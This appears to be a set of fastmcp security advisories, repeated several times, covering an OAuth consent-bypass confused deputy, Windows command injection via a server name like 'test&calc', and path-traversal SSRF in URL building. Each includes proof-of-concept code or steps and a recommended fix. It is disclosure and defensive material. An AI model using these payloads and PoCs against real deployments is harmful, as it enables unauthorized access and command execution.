fastmcp

Summary

While testing the GitHubProvider OAuth integration, which allows authentication to a FastMCP MCP server via a FastMCP OAuthProxy using GitHub OAuth, it was discovered that the FastMCP OAuthProxy does not properly validate the user's consent upon receiving the authorization code from GitHub. In combination with GitHub’s behavior of skipping the consent page for previously authorized clients, this introduces a Confused Deputy vulnerability.

Technical Details

An adversary can initiate an authentication flow by connecting their malicious MCP client to a benign MCP server using the GitHubProvider OAuth integration. During this flow, the attacker consents to connect their client to the MCP server and, at that point, can capture the GitHub authorization URL they are redirected to after granting consent. The attacker can then lure a victim, who is already logged into GitHub and has previously connected an MCP client to the benign MCP server, to open this captured URL. As a result, the victim’s browser is immediately redirected to the OAuthProxy’s callback endpoint, which does not correctly enforce that this browser has just given consent. The OAuthProxy then redirects the victim’s browser to the malicious MCP client’s callback URL with a valid authorization code. The attacker can exchange this code for an access token to the benign MCP server associated with the victim’s GitHub account, potentially gaining unauthorized access to resources tied to that account.

Although this issue was verified in practice only for the GitHubProvider, a review of the source code, specifically the OAuthProxy._handle_idp_callback function, shows that the IdP callback handler does not verify whether the browser sending the state and code has previously consented to connecting the client to the server. As long as a valid state and code pair is provided, the OAuthProxy requests an access token from the IdP and then redirects the user-agent to the client’s callback URL with a new code and the corresponding state, allowing the client to retrieve the access token from the proxy. This pattern causes all OAuth integrations whose IdP allows skipping the consent page to be vulnerable to this attack.

Skipping the consent page is not, by itself, a vulnerability on the IdP side. Many providers legitimately skip consent for first-party or previously authorized clients with the same scopes. In this case, the core problem lies in the OAuthProxy callback handler not correctly verifying that the browser issuing the callback request is the same one that has just given the required consent.

Steps to reproduce

1. Set up an MCP server using the GitHubProvider integration.
2. Connect a benign MCP client to this MCP server.
3. Configure your default browser to route all traffic through an interception proxy such as Burp Suite.
4. In a private browsing window or a second browser, log into the GitHub account used in step 2.
5. As the attacker, connect a new (malicious) MCP client to the MCP server from step 1.
6. When the browser opens for the attacker’s client, enable interception in your proxy.
7. In the browser, confirm the consent prompt.
8. In the proxy, forward all requests up to the authorization request to the GitHub authorization server.
9. Copy the authorization URL and drop the intercepted request.
10. Simulate luring the victim onto the URL by opening this URL in the browser window opened in step 4.
11. Observe that the malicious client receives a valid authorization code and gains access to the benign MCP server using the victim’s GitHub account.

In a more realistic scenario, the malicious client could be a public MCP client or a simple web server that logs the received authorization code or token, which the attacker then uses to obtain the access token and connect to the MCP server as the victim.

Recommendation

To mitigate this issue, the OAuthProxy should verify that the browser sending the authorization code has actually given consent for the corresponding client. This can be achieved by setting and validating a consent cookie or similar browser-bound state, as described in the mitigations section for this vulnerability in the MCP specification.

Server names containing shell metacharacters (e.g., &) can cause command injection on Windows when passed to fastmcp install claude-code or fastmcp install gemini-cli. These install paths use subprocess.run() with a list argument, but on Windows the target CLIs often resolve to .cmd wrappers that are executed through cmd.exe, which interprets metacharacters in the flattened command string.

PoC:

from fastmcp import FastMCP

mcp = FastMCP(name="test&calc")

@mcp.tool
def roll_dice(n_dice: int) -> list[int]:
    """Roll `n_dice` 6-sided dice and return the results."""
    return [random.randint(1, 6) for _ in range(n_dice)]

fastmcp install claude-code server.py   # or: fastmcp install gemini-cli server.py

On Windows, this opens Calculator via the &calc in the server name.

Impact: Arbitrary command execution with the privileges of the user running fastmcp install. Affects Windows hosts where the target CLI (one of claude, gemini) is installed as a .cmd wrapper. Does not affect macOS/Linux, and does not affect config-file-based install targets (cursor, goose, mcp-json).

Patched in #3522 by validating server names to reject shell metacharacters.

Technical Description

The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.

A critical vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.

Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.

Vulnerable Code

File: fastmcp/utilities/openapi/director.py

 def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    # Direct string substitution without encoding
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            url_path = url_path.replace(placeholder, str(param_value))

    # urljoin resolves ../ escape sequences
    return urljoin(base_url.rstrip("/" ) + "/", url_path.lstrip("/"))

Root Cause

1. Path parameters are substituted directly without URL encoding
2. urllib.parse.urljoin() interprets ../ as directory traversal
3. No validation prevents traversal sequences in parameter values
4. Requests inherit the authentication context of the MCP provider

Proof of Concept

Step 1: Backend API Setup

Create internal_api.py to simulate a vulnerable backend server:

from fastapi import FastAPI, Header, HTTPException
import uvicorn

app = FastAPI()

@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
    return {"status": "success", "user": user_id}

@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
    if authorization == "Bearer admin_secret":
        return {"status": "CRITICAL", "message": "Administrative access granted"}
    raise HTTPException(status_code=401)

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8080)

Step 2: Exploitation Script

Create exploit_poc.py:

import asyncio
import httpx
 from fastmcp.utilities.openapi.director import RequestDirector

async def exploit_ssrf():
    # Initialize vulnerable component
    director = RequestDirector(spec={})
    base_url = "http://127.0.0.1:8080/"
    template = "/api/v1/users/{id}/profile"
    
    # Payload: Path traversal to reach /admin/delete-all
    # The '?' character neutralizes the rest of the original template
    payload = "../../../admin/delete-all?"
    
    # Construct malicious URL
    malicious_url = director._build_url(template, {"id": payload}, base_url)
    print(f"[*] Generated URL: {malicious_url}")

    async with httpx.AsyncClient() as client:
        # Request inherits MCP provider's authorization headers
        response = await client.get(
            malicious_url, 
            headers={"Authorization": "Bearer admin_secret"}
        )
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text}")

if __name__ == "__main__":
    asyncio.run(exploit_ssrf())

Expected Output

[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}

The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.

Impact Assessment

Severity Justification

• Unauthorized Access: Attackers can interact with private endpoints not exposed in the OpenAPI specification
• Privilege Escalation: The attacker operates within the MCP provider's security context and credentials
• Authentication Bypass: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented
• Data Exfiltration: Sensitive internal APIs can be accessed and exploited
• Lateral Movement: Internal-only services may be compromised from the network boundary

Attack Scenarios

1. Accessing Admin Panels: Bypass API restrictions to reach administrative endpoints
2. Data Theft: Access internal databases or sensitive information endpoints
3. Service Disruption: Trigger destructive operations on backend services
4. Credential Extraction: Access endpoints returning API keys, tokens, or credentials

Remediation

Recommended Fix

URL-encode all path parameter values before substitution to ensure reserved characters (/, ., ?, #) are treated as literal data, not path delimiters.

Updated code for _build_url() method:

import urllib.parse

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            # Apply safe URL encoding to prevent traversal attacks
            # safe="" ensures ALL special characters are encoded
            safe_value = urllib.parse.quote(str(param_value), safe="")
            url_path = url_path.replace(placeholder, safe_value)

    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))

Summary

While testing the GitHubProvider OAuth integration, which allows authentication to a FastMCP MCP server via a FastMCP OAuthProxy using GitHub OAuth, it was discovered that the FastMCP OAuthProxy does not properly validate the user's consent upon receiving the authorization code from GitHub. In combination with GitHub’s behavior of skipping the consent page for previously authorized clients, this introduces a Confused Deputy vulnerability.

Technical Details

An adversary can initiate an authentication flow by connecting their malicious MCP client to a benign MCP server using the GitHubProvider OAuth integration. During this flow, the attacker consents to connect their client to the MCP server and, at that point, can capture the GitHub authorization URL they are redirected to after granting consent. The attacker can then lure a victim, who is already logged into GitHub and has previously connected an MCP client to the benign MCP server, to open this captured URL. As a result, the victim’s browser is immediately redirected to the OAuthProxy’s callback endpoint, which does not correctly enforce that this browser has just given consent. The OAuthProxy then redirects the victim’s browser to the malicious MCP client’s callback URL with a valid authorization code. The attacker can exchange this code for an access token to the benign MCP server associated with the victim’s GitHub account, potentially gaining unauthorized access to resources tied to that account.

Although this issue was verified in practice only for the GitHubProvider, a review of the source code, specifically the OAuthProxy._handle_idp_callback function, shows that the IdP callback handler does not verify whether the browser sending the state and code has previously consented to connecting the client to the server. As long as a valid state and code pair is provided, the OAuthProxy requests an access token from the IdP and then redirects the user-agent to the client’s callback URL with a new code and the corresponding state, allowing the client to retrieve the access token from the proxy. This pattern causes all OAuth integrations whose IdP allows skipping the consent page to be vulnerable to this attack.

Skipping the consent page is not, by itself, a vulnerability on the IdP side. Many providers legitimately skip consent for first-party or previously authorized clients with the same scopes. In this case, the core problem lies in the OAuthProxy callback handler not correctly verifying that the browser issuing the callback request is the same one that has just given the required consent.

Steps to reproduce

1. Set up an MCP server using the GitHubProvider integration.
2. Connect a benign MCP client to this MCP server.
3. Configure your default browser to route all traffic through an interception proxy such as Burp Suite.
4. In a private browsing window or a second browser, log into the GitHub account used in step 2.
5. As the attacker, connect a new (malicious) MCP client to the MCP server from step 1.
6. When the browser opens for the attacker’s client, enable interception in your proxy.
7. In the browser, confirm the consent prompt.
8. In the proxy, forward all requests up to the authorization request to the GitHub authorization server.
9. Copy the authorization URL and drop the intercepted request.
10. Simulate luring the victim onto the URL by opening this URL in the browser window opened in step 4.
11. Observe that the malicious client receives a valid authorization code and gains access to the benign MCP server using the victim’s GitHub account.

In a more realistic scenario, the malicious client could be a public MCP client or a simple web server that logs the received authorization code or token, which the attacker then uses to obtain the access token and connect to the MCP server as the victim.

Recommendation

To mitigate this issue, the OAuthProxy should verify that the browser sending the authorization code has actually given consent for the corresponding client. This can be achieved by setting and validating a consent cookie or similar browser-bound state, as described in the mitigations section for this vulnerability in the MCP specification.

Server names containing shell metacharacters (e.g., &) can cause command injection on Windows when passed to fastmcp install claude-code or fastmcp install gemini-cli. These install paths use subprocess.run() with a list argument, but on Windows the target CLIs often resolve to .cmd wrappers that are executed through cmd.exe, which interprets metacharacters in the flattened command string.

PoC:

from fastmcp import FastMCP

mcp = FastMCP(name="test&calc")

@mcp.tool
def roll_dice(n_dice: int) -> list[int]:
    """Roll `n_dice` 6-sided dice and return the results."""
    return [random.randint(1, 6) for _ in range(n_dice)]

fastmcp install claude-code server.py   # or: fastmcp install gemini-cli server.py

On Windows, this opens Calculator via the &calc in the server name.

Impact: Arbitrary command execution with the privileges of the user running fastmcp install. Affects Windows hosts where the target CLI (one of claude, gemini) is installed as a .cmd wrapper. Does not affect macOS/Linux, and does not affect config-file-based install targets (cursor, goose, mcp-json).

Patched in #3522 by validating server names to reject shell metacharacters.

Technical Description

The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.

A critical vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.

Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.

Vulnerable Code

File: fastmcp/utilities/openapi/director.py

 def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    # Direct string substitution without encoding
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            url_path = url_path.replace(placeholder, str(param_value))

    # urljoin resolves ../ escape sequences
    return urljoin(base_url.rstrip("/" ) + "/", url_path.lstrip("/"))

Root Cause

1. Path parameters are substituted directly without URL encoding
2. urllib.parse.urljoin() interprets ../ as directory traversal
3. No validation prevents traversal sequences in parameter values
4. Requests inherit the authentication context of the MCP provider

Proof of Concept

Step 1: Backend API Setup

Create internal_api.py to simulate a vulnerable backend server:

from fastapi import FastAPI, Header, HTTPException
import uvicorn

app = FastAPI()

@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
    return {"status": "success", "user": user_id}

@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
    if authorization == "Bearer admin_secret":
        return {"status": "CRITICAL", "message": "Administrative access granted"}
    raise HTTPException(status_code=401)

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8080)

Step 2: Exploitation Script

Create exploit_poc.py:

import asyncio
import httpx
 from fastmcp.utilities.openapi.director import RequestDirector

async def exploit_ssrf():
    # Initialize vulnerable component
    director = RequestDirector(spec={})
    base_url = "http://127.0.0.1:8080/"
    template = "/api/v1/users/{id}/profile"
    
    # Payload: Path traversal to reach /admin/delete-all
    # The '?' character neutralizes the rest of the original template
    payload = "../../../admin/delete-all?"
    
    # Construct malicious URL
    malicious_url = director._build_url(template, {"id": payload}, base_url)
    print(f"[*] Generated URL: {malicious_url}")

    async with httpx.AsyncClient() as client:
        # Request inherits MCP provider's authorization headers
        response = await client.get(
            malicious_url, 
            headers={"Authorization": "Bearer admin_secret"}
        )
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text}")

if __name__ == "__main__":
    asyncio.run(exploit_ssrf())

Expected Output

[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}

The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.

Impact Assessment

Severity Justification

• Unauthorized Access: Attackers can interact with private endpoints not exposed in the OpenAPI specification
• Privilege Escalation: The attacker operates within the MCP provider's security context and credentials
• Authentication Bypass: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented
• Data Exfiltration: Sensitive internal APIs can be accessed and exploited
• Lateral Movement: Internal-only services may be compromised from the network boundary

Attack Scenarios

1. Accessing Admin Panels: Bypass API restrictions to reach administrative endpoints
2. Data Theft: Access internal databases or sensitive information endpoints
3. Service Disruption: Trigger destructive operations on backend services
4. Credential Extraction: Access endpoints returning API keys, tokens, or credentials

Remediation

Recommended Fix

URL-encode all path parameter values before substitution to ensure reserved characters (/, ., ?, #) are treated as literal data, not path delimiters.

Updated code for _build_url() method:

import urllib.parse

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            # Apply safe URL encoding to prevent traversal attacks
            # safe="" ensures ALL special characters are encoded
            safe_value = urllib.parse.quote(str(param_value), safe="")
            url_path = url_path.replace(placeholder, safe_value)

    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))

Summary

While testing the GitHubProvider OAuth integration, which allows authentication to a FastMCP MCP server via a FastMCP OAuthProxy using GitHub OAuth, it was discovered that the FastMCP OAuthProxy does not properly validate the user's consent upon receiving the authorization code from GitHub. In combination with GitHub’s behavior of skipping the consent page for previously authorized clients, this introduces a Confused Deputy vulnerability.

Technical Details

An adversary can initiate an authentication flow by connecting their malicious MCP client to a benign MCP server using the GitHubProvider OAuth integration. During this flow, the attacker consents to connect their client to the MCP server and, at that point, can capture the GitHub authorization URL they are redirected to after granting consent. The attacker can then lure a victim, who is already logged into GitHub and has previously connected an MCP client to the benign MCP server, to open this captured URL. As a result, the victim’s browser is immediately redirected to the OAuthProxy’s callback endpoint, which does not correctly enforce that this browser has just given consent. The OAuthProxy then redirects the victim’s browser to the malicious MCP client’s callback URL with a valid authorization code. The attacker can exchange this code for an access token to the benign MCP server associated with the victim’s GitHub account, potentially gaining unauthorized access to resources tied to that account.

Although this issue was verified in practice only for the GitHubProvider, a review of the source code, specifically the OAuthProxy._handle_idp_callback function, shows that the IdP callback handler does not verify whether the browser sending the state and code has previously consented to connecting the client to the server. As long as a valid state and code pair is provided, the OAuthProxy requests an access token from the IdP and then redirects the user-agent to the client’s callback URL with a new code and the corresponding state, allowing the client to retrieve the access token from the proxy. This pattern causes all OAuth integrations whose IdP allows skipping the consent page to be vulnerable to this attack.

Skipping the consent page is not, by itself, a vulnerability on the IdP side. Many providers legitimately skip consent for first-party or previously authorized clients with the same scopes. In this case, the core problem lies in the OAuthProxy callback handler not correctly verifying that the browser issuing the callback request is the same one that has just given the required consent.

Steps to reproduce

1. Set up an MCP server using the GitHubProvider integration.
2. Connect a benign MCP client to this MCP server.
3. Configure your default browser to route all traffic through an interception proxy such as Burp Suite.
4. In a private browsing window or a second browser, log into the GitHub account used in step 2.
5. As the attacker, connect a new (malicious) MCP client to the MCP server from step 1.
6. When the browser opens for the attacker’s client, enable interception in your proxy.
7. In the browser, confirm the consent prompt.
8. In the proxy, forward all requests up to the authorization request to the GitHub authorization server.
9. Copy the authorization URL and drop the intercepted request.
10. Simulate luring the victim onto the URL by opening this URL in the browser window opened in step 4.
11. Observe that the malicious client receives a valid authorization code and gains access to the benign MCP server using the victim’s GitHub account.

In a more realistic scenario, the malicious client could be a public MCP client or a simple web server that logs the received authorization code or token, which the attacker then uses to obtain the access token and connect to the MCP server as the victim.

Recommendation

To mitigate this issue, the OAuthProxy should verify that the browser sending the authorization code has actually given consent for the corresponding client. This can be achieved by setting and validating a consent cookie or similar browser-bound state, as described in the mitigations section for this vulnerability in the MCP specification.

Server names containing shell metacharacters (e.g., &) can cause command injection on Windows when passed to fastmcp install claude-code or fastmcp install gemini-cli. These install paths use subprocess.run() with a list argument, but on Windows the target CLIs often resolve to .cmd wrappers that are executed through cmd.exe, which interprets metacharacters in the flattened command string.

PoC:

from fastmcp import FastMCP

mcp = FastMCP(name="test&calc")

@mcp.tool
def roll_dice(n_dice: int) -> list[int]:
    """Roll `n_dice` 6-sided dice and return the results."""
    return [random.randint(1, 6) for _ in range(n_dice)]

fastmcp install claude-code server.py   # or: fastmcp install gemini-cli server.py

On Windows, this opens Calculator via the &calc in the server name.

Impact: Arbitrary command execution with the privileges of the user running fastmcp install. Affects Windows hosts where the target CLI (one of claude, gemini) is installed as a .cmd wrapper. Does not affect macOS/Linux, and does not affect config-file-based install targets (cursor, goose, mcp-json).

Patched in #3522 by validating server names to reject shell metacharacters.

Technical Description

The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.

A critical vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.

Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.

Vulnerable Code

File: fastmcp/utilities/openapi/director.py

 def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    # Direct string substitution without encoding
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            url_path = url_path.replace(placeholder, str(param_value))

    # urljoin resolves ../ escape sequences
    return urljoin(base_url.rstrip("/" ) + "/", url_path.lstrip("/"))

Root Cause

1. Path parameters are substituted directly without URL encoding
2. urllib.parse.urljoin() interprets ../ as directory traversal
3. No validation prevents traversal sequences in parameter values
4. Requests inherit the authentication context of the MCP provider

Proof of Concept

Step 1: Backend API Setup

Create internal_api.py to simulate a vulnerable backend server:

from fastapi import FastAPI, Header, HTTPException
import uvicorn

app = FastAPI()

@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
    return {"status": "success", "user": user_id}

@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
    if authorization == "Bearer admin_secret":
        return {"status": "CRITICAL", "message": "Administrative access granted"}
    raise HTTPException(status_code=401)

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8080)

Step 2: Exploitation Script

Create exploit_poc.py:

import asyncio
import httpx
 from fastmcp.utilities.openapi.director import RequestDirector

async def exploit_ssrf():
    # Initialize vulnerable component
    director = RequestDirector(spec={})
    base_url = "http://127.0.0.1:8080/"
    template = "/api/v1/users/{id}/profile"
    
    # Payload: Path traversal to reach /admin/delete-all
    # The '?' character neutralizes the rest of the original template
    payload = "../../../admin/delete-all?"
    
    # Construct malicious URL
    malicious_url = director._build_url(template, {"id": payload}, base_url)
    print(f"[*] Generated URL: {malicious_url}")

    async with httpx.AsyncClient() as client:
        # Request inherits MCP provider's authorization headers
        response = await client.get(
            malicious_url, 
            headers={"Authorization": "Bearer admin_secret"}
        )
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text}")

if __name__ == "__main__":
    asyncio.run(exploit_ssrf())

Expected Output

[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}

The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.

Impact Assessment

Severity Justification

• Unauthorized Access: Attackers can interact with private endpoints not exposed in the OpenAPI specification
• Privilege Escalation: The attacker operates within the MCP provider's security context and credentials
• Authentication Bypass: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented
• Data Exfiltration: Sensitive internal APIs can be accessed and exploited
• Lateral Movement: Internal-only services may be compromised from the network boundary

Attack Scenarios

1. Accessing Admin Panels: Bypass API restrictions to reach administrative endpoints
2. Data Theft: Access internal databases or sensitive information endpoints
3. Service Disruption: Trigger destructive operations on backend services
4. Credential Extraction: Access endpoints returning API keys, tokens, or credentials

Remediation

Recommended Fix

URL-encode all path parameter values before substitution to ensure reserved characters (/, ., ?, #) are treated as literal data, not path delimiters.

Updated code for _build_url() method:

import urllib.parse

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            # Apply safe URL encoding to prevent traversal attacks
            # safe="" ensures ALL special characters are encoded
            safe_value = urllib.parse.quote(str(param_value), safe="")
            url_path = url_path.replace(placeholder, safe_value)

    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))

Summary

While testing the GitHubProvider OAuth integration, which allows authentication to a FastMCP MCP server via a FastMCP OAuthProxy using GitHub OAuth, it was discovered that the FastMCP OAuthProxy does not properly validate the user's consent upon receiving the authorization code from GitHub. In combination with GitHub’s behavior of skipping the consent page for previously authorized clients, this introduces a Confused Deputy vulnerability.

Technical Details

An adversary can initiate an authentication flow by connecting their malicious MCP client to a benign MCP server using the GitHubProvider OAuth integration. During this flow, the attacker consents to connect their client to the MCP server and, at that point, can capture the GitHub authorization URL they are redirected to after granting consent. The attacker can then lure a victim, who is already logged into GitHub and has previously connected an MCP client to the benign MCP server, to open this captured URL. As a result, the victim’s browser is immediately redirected to the OAuthProxy’s callback endpoint, which does not correctly enforce that this browser has just given consent. The OAuthProxy then redirects the victim’s browser to the malicious MCP client’s callback URL with a valid authorization code. The attacker can exchange this code for an access token to the benign MCP server associated with the victim’s GitHub account, potentially gaining unauthorized access to resources tied to that account.

Although this issue was verified in practice only for the GitHubProvider, a review of the source code, specifically the OAuthProxy._handle_idp_callback function, shows that the IdP callback handler does not verify whether the browser sending the state and code has previously consented to connecting the client to the server. As long as a valid state and code pair is provided, the OAuthProxy requests an access token from the IdP and then redirects the user-agent to the client’s callback URL with a new code and the corresponding state, allowing the client to retrieve the access token from the proxy. This pattern causes all OAuth integrations whose IdP allows skipping the consent page to be vulnerable to this attack.

Skipping the consent page is not, by itself, a vulnerability on the IdP side. Many providers legitimately skip consent for first-party or previously authorized clients with the same scopes. In this case, the core problem lies in the OAuthProxy callback handler not correctly verifying that the browser issuing the callback request is the same one that has just given the required consent.

Steps to reproduce

1. Set up an MCP server using the GitHubProvider integration.
2. Connect a benign MCP client to this MCP server.
3. Configure your default browser to route all traffic through an interception proxy such as Burp Suite.
4. In a private browsing window or a second browser, log into the GitHub account used in step 2.
5. As the attacker, connect a new (malicious) MCP client to the MCP server from step 1.
6. When the browser opens for the attacker’s client, enable interception in your proxy.
7. In the browser, confirm the consent prompt.
8. In the proxy, forward all requests up to the authorization request to the GitHub authorization server.
9. Copy the authorization URL and drop the intercepted request.
10. Simulate luring the victim onto the URL by opening this URL in the browser window opened in step 4.
11. Observe that the malicious client receives a valid authorization code and gains access to the benign MCP server using the victim’s GitHub account.

In a more realistic scenario, the malicious client could be a public MCP client or a simple web server that logs the received authorization code or token, which the attacker then uses to obtain the access token and connect to the MCP server as the victim.

Recommendation

To mitigate this issue, the OAuthProxy should verify that the browser sending the authorization code has actually given consent for the corresponding client. This can be achieved by setting and validating a consent cookie or similar browser-bound state, as described in the mitigations section for this vulnerability in the MCP specification.

Server names containing shell metacharacters (e.g., &) can cause command injection on Windows when passed to fastmcp install claude-code or fastmcp install gemini-cli. These install paths use subprocess.run() with a list argument, but on Windows the target CLIs often resolve to .cmd wrappers that are executed through cmd.exe, which interprets metacharacters in the flattened command string.

PoC:

from fastmcp import FastMCP

mcp = FastMCP(name="test&calc")

@mcp.tool
def roll_dice(n_dice: int) -> list[int]:
    """Roll `n_dice` 6-sided dice and return the results."""
    return [random.randint(1, 6) for _ in range(n_dice)]

fastmcp install claude-code server.py   # or: fastmcp install gemini-cli server.py

On Windows, this opens Calculator via the &calc in the server name.

Impact: Arbitrary command execution with the privileges of the user running fastmcp install. Affects Windows hosts where the target CLI (one of claude, gemini) is installed as a .cmd wrapper. Does not affect macOS/Linux, and does not affect config-file-based install targets (cursor, goose, mcp-json).

Patched in #3522 by validating server names to reject shell metacharacters.

Technical Description

The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.

A critical vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.

Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.

Vulnerable Code

File: fastmcp/utilities/openapi/director.py

 def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    # Direct string substitution without encoding
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            url_path = url_path.replace(placeholder, str(param_value))

    # urljoin resolves ../ escape sequences
    return urljoin(base_url.rstrip("/" ) + "/", url_path.lstrip("/"))

Root Cause

1. Path parameters are substituted directly without URL encoding
2. urllib.parse.urljoin() interprets ../ as directory traversal
3. No validation prevents traversal sequences in parameter values
4. Requests inherit the authentication context of the MCP provider

Proof of Concept

Step 1: Backend API Setup

Create internal_api.py to simulate a vulnerable backend server:

from fastapi import FastAPI, Header, HTTPException
import uvicorn

app = FastAPI()

@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
    return {"status": "success", "user": user_id}

@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
    if authorization == "Bearer admin_secret":
        return {"status": "CRITICAL", "message": "Administrative access granted"}
    raise HTTPException(status_code=401)

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8080)

Step 2: Exploitation Script

Create exploit_poc.py:

import asyncio
import httpx
 from fastmcp.utilities.openapi.director import RequestDirector

async def exploit_ssrf():
    # Initialize vulnerable component
    director = RequestDirector(spec={})
    base_url = "http://127.0.0.1:8080/"
    template = "/api/v1/users/{id}/profile"
    
    # Payload: Path traversal to reach /admin/delete-all
    # The '?' character neutralizes the rest of the original template
    payload = "../../../admin/delete-all?"
    
    # Construct malicious URL
    malicious_url = director._build_url(template, {"id": payload}, base_url)
    print(f"[*] Generated URL: {malicious_url}")

    async with httpx.AsyncClient() as client:
        # Request inherits MCP provider's authorization headers
        response = await client.get(
            malicious_url, 
            headers={"Authorization": "Bearer admin_secret"}
        )
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text}")

if __name__ == "__main__":
    asyncio.run(exploit_ssrf())

Expected Output

[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}

The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.

Impact Assessment

Severity Justification

• Unauthorized Access: Attackers can interact with private endpoints not exposed in the OpenAPI specification
• Privilege Escalation: The attacker operates within the MCP provider's security context and credentials
• Authentication Bypass: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented
• Data Exfiltration: Sensitive internal APIs can be accessed and exploited
• Lateral Movement: Internal-only services may be compromised from the network boundary

Attack Scenarios

1. Accessing Admin Panels: Bypass API restrictions to reach administrative endpoints
2. Data Theft: Access internal databases or sensitive information endpoints
3. Service Disruption: Trigger destructive operations on backend services
4. Credential Extraction: Access endpoints returning API keys, tokens, or credentials

Remediation

Recommended Fix

URL-encode all path parameter values before substitution to ensure reserved characters (/, ., ?, #) are treated as literal data, not path delimiters.

Updated code for _build_url() method:

import urllib.parse

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
